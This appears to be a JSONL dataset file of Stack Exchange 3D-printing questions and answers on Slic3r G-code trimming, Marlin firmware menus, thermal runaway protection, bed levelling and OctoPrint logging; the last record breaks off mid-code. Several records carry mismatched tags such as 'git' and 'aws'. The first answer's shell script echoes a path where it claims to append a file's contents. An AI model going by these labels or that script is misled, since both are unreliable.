{"id": "hf_4e249ad75a4d", "question": "<p>As first layer is so important, I am looking for an easy way to generate  the gcode to print just the first layer.\nI see that with Slic3r you can cut from a Z\nBut for test purposes I prefer just selecting a number of layers to be generated so I can easily generate different \"first layer(s) tests\" with different first layer(s) settings (width, height, speed, flow....)\nThe only way I achieve it is editing the gcode.\nAny help?\nThanks</p>\n", "question_body": "", "answer": "I understand your question like this:\nI know I could cut the mesh and just slice the bottom of my model, but since I am interested in a given\nnumber of layers\nand the heigh of a layer may change according to settings (e.g.: 0.2mm, 0.1mm, 0.05mm...), I want to find a way to generate an arbitrary number of layers from the full model.  I use slic3r.\nIf my understanding is correct, then you can achieve what you want with a few steps.\nUse verbose GCODE\nThe setting is under \"Print settings → Output Options\".  This will output gcode with comments in it.\nSave the finishing gcode of a valid printing job\nBasically, open a valid gcode file, and save the last few lines (comments will help you to understand which ones, it changes from printer to printer) in a separate file (\n```\ngcode.tail\n```\n).  These lines are typically those that move away the nozzle from the print, disable the heating element, the steppers and the part cooling fan.\nPrepare the\n```\nfirst-lines.sh\n```\nscript\n```\n```\n#! /usr/bin/env sh\nsed -e '/move to next layer (3)/,$d' $1 > /tmp/gcode.tmp\necho ~/gcode.tail >> /tmp/gcode.tmp\necho /tmp/gcode.tmp\n```\n```\nWhat this script does is:\ntake a file name from the command line (\n```\n$1\n```\n) and savie into\n```\ngcode.tmp\n```\nonly the part of it up to and excluding the line saying \"move to the next layer (3)\" (you should actually use the number of layers you actually want here,\n```\n3\n```\nis just an example).  Again, the presence of such a line depends from you generating \"verbose gcode\".\nappend to\n```\ngcode.tmp\n```\nthe content of the file\n```\ngcode.tail\n```\n(here replace\n```\n~/\n```\nwith the actual path on your machine.\noutput as a stream the full content of\n```\ngcode.tmp\n```\nSet your printer to automatically run the script onto the generated gcode\nThis setting is again under \"Print settings → Output Options\". You have to type in the full path to\n```\nfirst-lines.sh\n```\n.  Also remember to make the script executable (\n```\nchmod +x first-lines.sh\n```\n).\nYou can also hover over the textbox to get additional information of how you can access slic3r variables there (for example you may want to read the layer height from the settings and compute within the script the number of layers you want to keep).\nProfit\n:)\nFinal notes:\nI tried the sed command and have post-processing scripts running on my gcode myself, so it should work, but I haven't tried the full procedure myself, if you encounter bugs please leave a comment so I can fix the answer for everybody. :)\nI use slic3r Prusa Edition (I believe these settings are the same, but just in case... you may wish to\ndownload\nthat version.\nAll of the above should work out-of-the-box on all mainstream Linux distributions and OSX.  For windows, it has been suggested in the comments to install\nCygWin\n.\nSince this procedure still slices the full model and then throw away most of it, you could make it faster by only slicing a reasonably thick \"bottom part\" of your model.  For example: say that you know you will never want to print more than 5 layers and never with a layer height past 0.3mm... in this case you could only keep the bottom 2mm of your model and you'd be safe for all other combinations of layers and layer heights.  Don't keep\nexactly\n1.5mm though, as this is likely to generate a different top layer than the one in the full model.\nGood luck! :)", "tags": ["linux", "git"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:04.991479"}
{"id": "hf_812ff3d7f067", "question": "<p>I would like to be able to add custom commands/script to be executed during a print.</p>\n\n<p>For example I would like to write some software to take a picture check the print hasn't moved off the bead between layers. </p>\n\n<p>Does anyone know if any of the available software/firmware allows custom scripts or calling back to the computer before continuing printing?</p>\n\n<p>I am happy to build/buy a new printer if anyone knows a control board that has this sort of feature. </p>\n", "question_body": "", "answer": "One of the solutions could be adding a layer change script (simplifi3d has that out of the  box) and then using marlin firmware you could set a value to digital pin that could triger external actions.\nLayer Change G-Code\n: I personally haven't had to use this, but I'm\n  sure that there are some excellent reasons/ideas to use for this. If\n  you'd like for a G-Code script to be inserted in-between each layer,\n  than you can simply place it in this tab. One interesting use of this,\n  is for the FlashForge Dreamer, to have the lights blink in between\n  each layer, however that can be a bit too much at times!\nThe syntax for the M42 command is: M42 S(value to be written to pin) P (pin number) e.g. To set digital pin 30 high, you would use M42 S1 P30\nThe MARLIN firmware will\nnot enable you to change the status / write\n  values to any of the pins in use for things such as the heaters,\n  thermistors, end stops etc. The command will let you send values other\n  than 0 and 1 to any pins which can output analogue values. (0-255)", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:05.214299"}
{"id": "hf_cb44e63497a9", "question": "<p>Waiting for a heatbed to get up to 85˚C for a relatively small part got me wondering why beds aren't hardware/G-code configurable for what area is heated? I'm sure it would be an increase in parts costs and electronics, but it seems that being able to just heat an area a little larger than the part(s) being built would save in time and energy use.</p>\n", "question_body": "", "answer": "I've wondered that myself a while ago and fact is that such beds or silicone heating pads do\nexist\n. Usually these are quite large (and expensive) and usually referred to as \"dual zone heat beds/pads\".\nAs far as energy consumption; less area to heat is faster heat up times (depending on the control) and less energy consumed. For small prints this may be beneficial. The price of such beds are very high, so to break even you would have to print a lot. An alternative to buying would be to\netch your own bed\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:05.439226"}
{"id": "hf_f46dbfe8910d", "question": "<p>As moving the endstop upwards reduces the range of the z-axis, I was wondering whether it reduces the maximum height of the printable object, by the distance the endstop was moved. Or is this somehow (to a certain extent) beeing counterbalanced?</p>\n\n<p>(Follow-up question of <a href=\"https://3dprinting.stackexchange.com/questions/7332/tevo-michelangelo-nozzle-below-build-plate\">this</a> question)</p>\n", "question_body": "", "answer": "If you move up the end stop such that it raises the nozzle with respect to the build platform you lose height, so basically the answer is yes. But, as seen in your referenced question, your nozzle location is determined by the mechanical layout of the printer and the end stop had to be raised in order to print at all. This means that although you have less height to move the Z gantry, it can now actually print the full range the printer is designed for (the max Z to print is fixed in the configuration of the firmware of the printer and is always smaller than the maximum Z of the mechanical layout). Theoretically, if you ever make a lower profile hotend head, you would be able to lower the end stop and gain a little in height and adjust the firmware maximum Z height.\nE.g. in Marlin firmware, for an Anet A8 3D printer,\n```\n```\n#define Z_MAX_POS 240\n```\n```\nin the\nConfiguration.h\nfile defines the maximum print height of 240 mm. If you would deliberately increase the Z end stop height and platform by let's say 50 mm, the printer thinks it still can print 240 mm, but in reality the gantry will crash against the top mounts and thus limit your printing height.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:05.721921"}
{"id": "hf_574e38159a72", "question": "<p>I like Tinkercad so far for it's very simple UI. (I'm new to 3D modeling and very confused by Blender and the like.) However, I'm not using it to do 3D printing just yet. For I'd like to be able to be to slap textures on the models I make and get images of that. What is the easiest beginner way to do that (for Linux OS)?</p>\n\n<p>Alternately, displaying the .obj directly in the browser with a texture would be great, too.</p>\n", "question_body": "", "answer": "For your purposes, consider that Meshmixer (free) can open .OBJ files and display them in any position you desire.\nI use Meshmixer quite a bit for model editing, but have not used it for .OBJ files with textures. I searched my drive and found quite a few .OBJ files, but was not able to present or add textures, due to my own ignorance, I'm sure.\nI found a useful link to a\nsupport page\non the 'net which indicates that there has to be a texture file as well as a definition file (.MTL) in order to display the textures in Meshmixer. Using that reference, I was able to add a randomly selected .PNG file and apply the texture to a test model.\nIf your creations do not include those support files, this may not be a good answer. There's little to lose, however, as the program is free and you may find use for it in the future, or you may find that it works as you require.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:05.859332"}
{"id": "hf_9fd504133c27", "question": "<p>Where is the correct Marlin firmware file and location to add code that I want to shop up in the LCD menu of my printer, and then execute the function I write when the button is pressed?</p>\n\n<p>For example I want to add a menu item that says \"Preheat Custom\" that is in the same menu as \"preheat PLA\" and \"preheat ABS\" and then runs code to heat to values I specify.</p>\n\n<p><em>I'm running Marlin Firmware version 1.1.9 on a Creality Ender 3.</em></p>\n", "question_body": "", "answer": "The answer to your question (baring in mind that the question is raised for Marlin 1.1.9) is the file\nultralcd.cpp\n. Nowadays, you can also enable extra option through the\nConfiguration_adv.h\nfile, just enable:\n```\n```\n#define CUSTOM_USER_MENUS\n```\n```\nand edit the options beneath it to your needs (otherwise it will use the preset values from the\nConfiguration.h\nfile).\nAdd custom items using ultralcd.cpp\nThis is how I used to do it if you want to add items to the menu in Marlin Firmware through the ultralcd.cpp. It is best to first look at the current implementation of the menu items. As you already mention\n```\nPreheat PLA\n```\n, that would be the first to search for. Searching in files is easy when you go to the github website with the Marlin firmware sources, functionality is available for searching in the files. Alternatively, download a copy of the firmware and use a free \"grep\" utility to search in files.\nSearching for\n```\nPreheat PLA\n```\nwill show you a bunch of language translation files. These point to the use of a constant\n```\nMSG_PREHEAT_1\n```\nwhich finds its presence in\nultralcd.cpp\n. This hints to function\n```\nlcd_preheat_m1_menu\n```\nthat is called by\n```\nMENU_ITEM\n```\nwhich adds menu items to LCD. You could start there to add your own option.\nDemonstration\nAs a quick demonstration, I've added a\n```\nCUSTOM PREHEAT\n```\nitem by copying the\n```\nlcd_preheat_m2_menu\n```\nfunction in\nultralcd.cpp\nand renamed this\n```\nlcd_preheat_m3_menu\n```\n(a full functional item needs changes within the\n```\nlcd_preheat_m3_menu\n```\nas it now uses the constants from the ABS preheat option).\nYou then add the item to the menu by changing this part of the code:\n```\n//\n      // Preheat for Material 1 and 2\n      //\n      #if TEMP_SENSOR_1 != 0 || TEMP_SENSOR_2 != 0 || TEMP_SENSOR_3 != 0 || TEMP_SENSOR_4 != 0 || HAS_HEATED_BED\n        MENU_ITEM(submenu, MSG_PREHEAT_1, lcd_preheat_m1_menu);\n        MENU_ITEM(submenu, MSG_PREHEAT_2, lcd_preheat_m2_menu);\n        // ADD THIS LINE:\n        MENU_ITEM(submenu, \"CUSTOM PREHEAT\", lcd_preheat_m3_menu);\n      #else\n        MENU_ITEM(function, MSG_PREHEAT_1, lcd_preheat_m1_e0_only);\n        MENU_ITEM(function, MSG_PREHEAT_2, lcd_preheat_m2_e0_only);\n      #endif\n```\nAfter compiling and uploading to the printer board, enter the\n```\nPrepare\n```\nmenu and scroll down to see:", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:06.028941"}
{"id": "hf_2faec51257e6", "question": "<p>I want to hook up an Arduino to my Creality printer running Marlin firmware, such that I can have a few physical buttons mounted on the machine that will execute commands such as preheat, home, disable steppers, and so on, so that I don't have to navigate through the clunky LCD screen.</p>\n<p>Ideally it would work in addition to the normal LCD and serial functionality, so it would not impede me from using Ultimaker Cura to print via USB, etc.</p>\n<p>What is the best way to do this?</p>\n", "question_body": "", "answer": "One option would be to have your printer controlled by an Octoprint server.  You would then use the\nOctoprint Api plugin\nto use your arduino to send commands to octoprint - and from there, your printer.  Octoprint has a fairly fully-featured rest api that allows you to send arbitrary GCODE to your printer (\nsee here\n).  You would then hook up your buttons to some code that sends the gcode commands to the printer when pressed.  It's certainly not as simple as installing a plugin - you'll have to write some interface code, but it looks like those APIs should be able to do what you want, without interfering with the standard controls at all.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:06.213452"}
{"id": "hf_d5b37a3f68f3", "question": "<p>Could you use a 3D printer to make a 3D printer's parts? What is the most of a 3D printer that can be made this way? Could parts that break be replaced this way?</p>\n", "question_body": "", "answer": "Yes, you can print most of the parts (electronics, linear guide rails, ball bearings and nuts and bolts, etc cannot be printed). Actually this was exactly the purpose of\nRepRap.org\n:\nRepRap is humanity's first general-purpose self-replicating\n  manufacturing machine.\nand:\nSince many parts of RepRap are made from plastic and RepRap prints\n  those parts, RepRap self-replicates by making a kit of itself - a kit\n  that anyone can assemble given time and materials.\nThere have been attempts in the past to even replicate the frames of printers (e.g.\nDollo 3D\nor\nSnappy\n, but such designs are not very successful, printed frames are more flexible than metal frames.\nI have built 2 custom printers myself using other printers to print parts and printed all printer parts for several others. It is possible to print\nyour own linear bearings from POM\n, I prefer these over the noisy metal bearings.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:06.414033"}
{"id": "hf_f3fe361e7ae0", "question": "<p>Is there a way to view more than the last 300 lines in the terminal tab on OctoPrint? Or is there a txt file of a log? Or even a setting/plugin that does either?</p>\n\n<p>I keep finding my prints pausing as if I said to change the filament even though that wasn't set in the slicer, but I catch it long after the 300<sup>th</sup> line in the terminal so I can't see what OctoPrint is trying to do.</p>\n", "question_body": "", "answer": "Yes\n, you can show more than 300 lines in the terminal; just\ndisable auto scrolling\n(\nreference\n).\nDisabling Autoscroll now completely disables cutting off the lines (so\n  you can have way more than 300 lines while that's disabled), filtering\n  has been improved too and doesn't cause scrolling anymore.\nNote that with disabled autoscrolling, you will be able to see more lines up to the point that the buffer is full. If you need even more lines to monitor, just enable the logging the data to file\n```\nserial.log\n```\n. If you open the options page (OctoPrint Settings), just tick the box for \"Log communication to\n```\nserial.log\n```\n\" under \"Serial logging\" of the \"Serial connection\" options.\nThis serial logging file is typically used for debug purposes, but as can be read from the options, it comes with a warning:\nWhile this can negatively impact performance, a\n```\nserial.log\n```\ncan be\n  incredibly useful for debugging any issues observed in the\n  communication between OctoPrint and your printer.\nYou can either access the log file through the OctoPrint options/setting through the \"Logging\" options tab, or direct download/copy from the logging directory:\non Linux: ~/.octoprint/logs\non Windows: %APPDATA%\\OctoPrint\\logs\non MacOSX: ~/Library/Application Support/OctoPrint/logs", "tags": ["linux", "git"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:06.570827"}
{"id": "hf_9b118fd299ab", "question": "<p>I'm currently trying to implement a data collector on my Replicator+ by utilizing JSON-RPC. Is there an <strong>official</strong> reference for this? MakerBot used to host a <a href=\"http://wiki.makerbot.com/\" rel=\"nofollow noreferrer\">wiki site</a>, but that seems to be gone for their \"troubleshooting\" pages.</p>\n", "question_body": "", "answer": "The Mystery of Makerbot-Wiki\nAccording to the Wayback machine, the wiki.makerbot.com went offline on\n31st December 2012\n:\nOver the past three amazing years, MakerBot owners and enthusiasts around the world have shared knowledge with us and with each other. As we welcome thousands more MakerBot owners and users into the MakerBot family, we want to make sure that everyone always has the best information regarding our company and products, and that it's easily accessible.\nHere’s one thing we're doing to help: on December 31, as we close out the year, we will also turn off the lights at wiki.makerbot.com.\nThe MakerBot wiki has served us well, but lately we've seen an increase in spam and a decline in community activity. Instead of continuing to maintain two separate sites, we're going to consolidate them.\nWhat that means is that, as of December 31st, the MakerBot wiki will no longer be available at this address. An archived version of the wiki as it stands today will be available at\nhttp://makerbot.com/support/archive\nand more former wiki content will be available at\nhttp://makerbot.com/support\n, which already hosts PDFs of some of the most useful Thing-O-Matic and Cupcake documentation. You may see some short periods of downtime as we finish moving this content.\nAn archive of forum discussions will be available, but users seeking discussion with the incredibly knowledgable MakerBot community should head over to the\nMakerBot Operators Google Group\n. Requests for help and questions about MakerBot products should, as always, be sent to mailto:support@makerbot.com.\nThanks for your contributions over the past few years to the MakerBot wiki. We hope you'll all continue to share your expertise with us and other MakerBot users for many years to come.\nBefore that\n, the makerbot wiki did tell that the Documentations had been moved:\nNote\nThis wiki is intended for historical MakerBot documentation and community-supported projects. The new home for MakerBot documentation is\nhttp://www.makerbot.com/docs/\nJSON-RPC\nThere is a late 2013/early 2014\ngithub\nthat seems to work on the JSON-RPC and which might help - and still showed\nsome activity\npast the lockup of the wiki.makerbot.com. It is only very poorly documented. The earliest activity was in 2012 with the main bulk in 2013.\nThe JSON project predates the start of work on the\nmakerbot-gen5-api\nin 2014. This might mean that it might be documented there to some degree, But it might also be present in the generation 4 API.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:06.787771"}
{"id": "hf_31ee13d8f75a", "question": "<p>What is Thermal Runaway Protection (TRP) and why should I enable it?</p>\n\n<p>How does one do so in Marlin?</p>\n", "question_body": "", "answer": "What is TRP and how does it work?\nThermal runaway protection is basically self-explaining; it is protection against the temperature getting out of control. Essentially, the firmware checks whether the measured output of the thermistor (\nWhat is a thermistor? A thermistor is basically a temperature sensor; it is an electrical component (more specific: a resistor) that has a large reduction of its resistance when heated; it is frequently used for measurement and control as you can link the resistance to the temperature via a table or a curve\n) is within an expected range for a certain target value within a certain time frame when heating the hotend or the heated bed.\nE.g. When you request the hotend or heated bed to a certain temperature, the heater elements are being scheduled/switched on to increase the temperature. If the temperature increase as a result of scheduling the hotend or heated bed are not met in time (settings in the firmware configuration), the printer will halt and heating of the heater elements will stop. The printer needs to be reset after such a failure.\nWhat triggers TRP?\nCommon problems that trigger the thermal runaway protection are:\na faulty thermistor,\nan incorrectly placed thermistor (e.g. not making good enough contact with the heater block),\nincluding falling out\na loose heater cartridge,\nincluding falling out\nfaulty connectors,\nfaulty or partially broken wires,\nbasically, anything that interrupts either heating or the measurement of the signal.\nWhy should TRP be active?\nThermal runaway protection is mainly meant to prevent fire hazards by stopping the heater cartridge when it might have fallen out of the heater block and is trying to set the whole surroundings on fire.\nTo illustrate the point: This happens if Thermal Runaway Protection is disabled, and the\nassociated story\n. Luckily this one did not result in a loss of life and home, but it could have - and the owner was able to do some forensic examination on what caused the fire.\nHow to activate TRP in Marlin firmware?\nPlease make sure that you have the configuration lines in the Thermal Runaway Protection section (466-485) of your\nConfiguration.h\nfile uncommented\n(no // in front of the lines starting with #define THERMAL_...)\n.\n```\n//===========================================================================\n//======================== Thermal Runaway Protection =======================\n//===========================================================================\n\n/**\n * Thermal Protection provides additional protection to your printer from damage\n * and fire. Marlin always includes safe min and max temperature ranges which\n * protect against a broken or disconnected thermistor wire.\n *\n * The issue: If a thermistor falls out, it will report the much lower\n * temperature of the air in the room, and the the firmware will keep\n * the heater on.\n *\n * If you get \"Thermal Runaway\" or \"Heating failed\" errors the\n * details can be tuned in Configuration_adv.h\n */\n\n#define THERMAL_PROTECTION_HOTENDS // Enable thermal protection for all extruders\n#define THERMAL_PROTECTION_BED     // Enable thermal protection for the heated bed\n```\nNote that Marlin 2.x has an additional protection for the heating chamber:\n```\n#define THERMAL_PROTECTION_CHAMBER // Enable thermal protection for the heated chamber\n```\nThis should generally be enough to enable TRP on your printer, fine tuning can be done by changing the time constant and the temperature increase in the file\nConfiguration_adv.h\nin the section:\n```\n//===========================================================================\n//=============================Thermal Settings  ============================\n//===========================================================================\n```\nHowever, it is advised to not change these values unless you are absolutely certain; e.g. if your heating cartridge is not powerful enough and you are getting printer halts. When getting false-positive printer halts according to the\nMarlin firmware\nyou could:\n```\n* If you get false positives for \"Thermal Runaway\", increase\n* THERMAL_PROTECTION_HYSTERESIS and/or THERMAL_PROTECTION_PERIOD\n```\nHow to test if TRP is active on my printer?\nTo test if thermal runaway protection is enabled on your printer, you can disconnect the heater element of the hotend or the heated bed while printing a print or sending temperature commands to the printer over USB using a terminal to send commands directly to the printer. You can disconnect the heater element while the printer is cold (before start) and also when the heater element is heating up. No heating of the nozzle will take place, so after the period defined by the time constant set in the firmware, the printer will halt if thermal runaway protection is enabled. Power down the machine and reconnect the wires, it is not advised to put them back in on a running machine, as one might touch the open wires; when the printer halted, you should power down or reset the printer anyways. If the printer did not halt, power it down as quickly as possible - TRP is disabled.\nFurther Considerations\nBesides activating thermal runaway protection, it is always a good idea to install a smoke detector and a fire extinguisher in the surroundings of the 3D printer: the smoke detector over it, the extinguisher within arms reach of the door leading to the room.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:06.943895"}
{"id": "hf_67327ab5f8d1", "question": "<p>I noticed foot arches are already digitized, but custom arch supports are usually expensive.  PLA and ABS aren't the best material for printing arch supports, especially if they replace the shoe's innersole. </p>\n\n<p>Is there a more flexible material for 3D printing that could be used for making custom orthotics?</p>\n", "question_body": "", "answer": "The standard choice for this would be TPU,\nthermoplastic polyurethane\n.\nTPU is a common filament material for use in fused filament fabrication 3D printing due to the fact that it is an elastic thermoplastic which makes it ideal for printing objects that need to be flexible and elastic.\n...\nProperties of commercially available TPU include:\nhigh abrasion resistance\nlow-temperature performance\nhigh shear strength\nhigh elasticity\ntransparency\noil and grease resistance\nIn addition to TPU, there are plasticizer-modified PLA filaments with similar flexibility, but not necessarily with the other nice properties like abrasion resistance. I've printed with one from 3D Solutech and had good results,\nafter figuring out what to do about stringing\n.\nAlso, it's possible to achieve a decent degree of flexibility merely with printed geometry, rather than special materials. It's possible that PETG with an appropriate geometry could work for your application.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:07.102109"}
{"id": "hf_014a2e474488", "question": "<p>I recently bought a 3D printer called Dreamer NX from FlashForge. The dealer told me to use FlashPrint software that belongs to the FlashForge printer manufacturer. But, many people advise me to use Ultimaker Cura. Are there many differences between these two software packages?</p>\n", "question_body": "", "answer": "The commonality of the 2 slicers is that both are developed and maintained by a printer manufacturer. The largest difference is that FlashPrint is\nclosed/proprietary software\n, while Ultimaker Cura is released in source (\nso-called open source project\n) to the public; this is valid for both the\nfrontend (Cura)\n(Graphical User Interface) as for the\nslicing core (CuraEngine)\n. Basically this implies that there is a larger community developing and bug fixing the software. Also, FlashPrint is exclusively available for the FlashForge printers while Ultimaker Cura can be used for different brands as well.\nStatement from\nwww.3dprms.com\n:\nThe Flashpoint software is an in-house software program developed by FlashForge for use exclusively with the FlashForge 3D Printers\nStatement from the\nCura wikipedia\n:\nCura is an open source 3D printer slicing application. It was created by David Braam who was later employed by Ultimaker, a 3D printer manufacturing company, to maintain the software.\nAs FlashPrint is proprietary, it has no shared source repository and can therefore not be based on existing forks of software that are released under e.g. some version of the\nLGPL\nlicense as this implies that you need to share the amendments you made to the software, otherwise you would be in violation:\n...any developer who modifies an LGPL-covered component is required to make their modified version available under the same LGPL license..\nNote that discussing the exact differences in features between the 2 software packages (e.g. implementation differences of model support structures) would be more fit in a forum style discussion board rather than on a Stack Exchange site.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:07.348596"}
{"id": "hf_22ada229e9f5", "question": "<p>I have seen several postings in forums about the power connector on some ender 3's being bad and causing issues or just burning out, potentially causing a fire.</p>\n\n<p>How can I tell if I have the bad power connector?</p>\n", "question_body": "", "answer": "If you can measure the voltage at the main board where the bed power line is attached, or at the last point in the wiring prior to the connector, then measure the voltage at the bed, you can compare the difference to determine if there is loss related to a failing connector.\nOne certain indication of a failing connector is to separate the components of the connector and see corrosion, discoloration or any sign of burning. The Robo3d R1+ used 10 ampere connectors and the bed draws 14 amperes, according to the research I've done. When I discovered that information and separated the connector, it was an easy answer, as one side was scorched and the pins on the other were corroded and discolored.\nAnother method, not for everyone, is to use an IR camera and examine the leads carrying the power to the bed. The failing portion will be absorbing some of the power and heating itself, which will show up as a bright portion in the power path.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:07.587462"}
{"id": "hf_57758f113e8f", "question": "<p>I'm using firmware Marlin 2.0.3 on an Anet A8 printer. I'm using a Roko SN04-N NPN bed leveller. I've managed to set up 3 points bed levelling but I wanted to try the bilinear levelling.</p>\n\n<p>Issue is, the sensor goes out of the aluminum bed ever so slightly during levelling, resulting in the printing head crashing on the bed.</p>\n\n<p>Where can I set the grid for the bilinear levelling in the config file? I didn't find the option in the file and Google wasn't of any help this time.</p>\n", "question_body": "", "answer": "If you have managed to setup 3-point levelling, you should be able to enable bi-linear levelling in the firmware.\nFrom the\nconfiguration.h\nfile for Marlin firmware you can find the following options:\n```\n/**\n * Choose one of the options below to enable G29 Bed Leveling. The parameters\n * and behavior of G29 will change depending on your selection.\n *\n *  If using a Probe for Z Homing, enable Z_SAFE_HOMING also!\n *\n * - AUTO_BED_LEVELING_3POINT\n *   Probe 3 arbitrary points on the bed (that aren't collinear)\n *   You specify the XY coordinates of all 3 points.\n *   The result is a single tilted plane. Best for a flat bed.\n *\n * - AUTO_BED_LEVELING_LINEAR\n *   Probe several points in a grid.\n *   You specify the rectangle and the density of sample points.\n *   The result is a single tilted plane. Best for a flat bed.\n *\n * - AUTO_BED_LEVELING_BILINEAR\n *   Probe several points in a grid.\n *   You specify the rectangle and the density of sample points.\n *   The result is a mesh, best for large or uneven beds.\n *\n * - AUTO_BED_LEVELING_UBL (Unified Bed Leveling)\n *   A comprehensive bed leveling system combining the features and benefits\n *   of other systems. UBL also includes integrated Mesh Generation, Mesh\n *   Validation and Mesh Editing systems.\n *\n * - MESH_BED_LEVELING\n *   Probe a grid manually\n *   The result is a mesh, suitable for large or uneven beds. (See BILINEAR.)\n *   For machines without a probe, Mesh Bed Leveling provides a method to perform\n *   leveling in steps so you can manually adjust the Z height at each grid-point.\n *   With an LCD controller the process is guided step-by-step.\n */\n//#define AUTO_BED_LEVELING_3POINT\n//#define AUTO_BED_LEVELING_LINEAR\n//#define AUTO_BED_LEVELING_BILINEAR\n//#define AUTO_BED_LEVELING_UBL\n//#define MESH_BED_LEVELING\n```\nIf you are using 3-point levelling you enabled constant\n```\nAUTO_BED_LEVELING_3POINT\n```\nby removing the comment characters (\n```\n//\n```\n):\n```\n```\n#define AUTO_BED_LEVELING_3POINT\n```\n```\nto enable bi-linear levelling, you should remove the comment characters before constant\n```\n#define AUTO_BED_LEVELING_BILINEAR\n```\n:\n```\n```\n#define AUTO_BED_LEVELING_BILINEAR\n```\n```\nDefinition of the grid is done by specifying how many point you want to have using constants\n```\nGRID_MAX_POINTS_X\n```\nand\n```\nGRID_MAX_POINTS_Y\n```\n:\n```\n#if EITHER(AUTO_BED_LEVELING_LINEAR, AUTO_BED_LEVELING_BILINEAR)\n\n  // Set the number of grid points per dimension.\n  #define GRID_MAX_POINTS_X 3\n  #define GRID_MAX_POINTS_Y GRID_MAX_POINTS_X\n```\nThe code above shows the default definition of a 9 point (3 x 3) grid.\nNote that this will only work well if the area for the sensor to reach safely is correctly defined. If the sensor is missing the build plate, you have not correctly defined the limits for the sensor. Question\n\"How to set Z-probe boundary limits in firmware when using automatic bed leveling?\"\nhas an\naccepted answer\nthat describes how to define an area on the plate that the sensor may reach (the answer on this question also discusses Marlin 2.x).\nIn the specific case of the OP (after posting the config files)\nFrom the posted configuration files your probe position can be obtained:\n```\n```\n#define NOZZLE_TO_PROBE_OFFSET { 25, 55, 0 }\n```\n```\nSo your probe is at the right-back when facing the printer. Also your bed area attempt (commented) and the current active bed area can be obtained:\n```\n#if PROBE_SELECTED && !IS_KINEMATIC\n  //#define MIN_PROBE_EDGE_LEFT 5\n  //#define MIN_PROBE_EDGE_RIGHT 200\n  //#define MIN_PROBE_EDGE_FRONT 55\n  //#define MIN_PROBE_EDGE_BACK 200\n  #define MIN_PROBE_EDGE_LEFT MIN_PROBE_EDGE\n  #define MIN_PROBE_EDGE_RIGHT MIN_PROBE_EDGE\n  #define MIN_PROBE_EDGE_FRONT MIN_PROBE_EDGE\n  #define MIN_PROBE_EDGE_BACK MIN_PROBE_EDGE\n#endif\n```\nFrom these excerpts it is clear that the bed limits are incorrectly defined.\nFollowing the theory from\nthis answer\nthe probe is only allowed to visit the following (dark red) area:\nThis area is defined as:\n```\n#define MIN_PROBE_EDGE_LEFT (PROBE_OFFSET_X_FROM_EXTRUDER + MIN_PROBE_EDGE)\n  #define MIN_PROBE_EDGE_RIGHT (MIN_PROBE_EDGE)\n  #define MIN_PROBE_EDGE_FRONT (PROBE_OFFSET_Y_FROM_EXTRUDER + MIN_PROBE_EDGE)\n  #define MIN_PROBE_EDGE_BACK (MIN_PROBE_EDGE)\n```\nwhich translates to:\n```\n#define MIN_PROBE_EDGE_LEFT (25 + MIN_PROBE_EDGE)\n  #define MIN_PROBE_EDGE_RIGHT (MIN_PROBE_EDGE)\n  #define MIN_PROBE_EDGE_FRONT (55 + MIN_PROBE_EDGE)\n  #define MIN_PROBE_EDGE_BACK 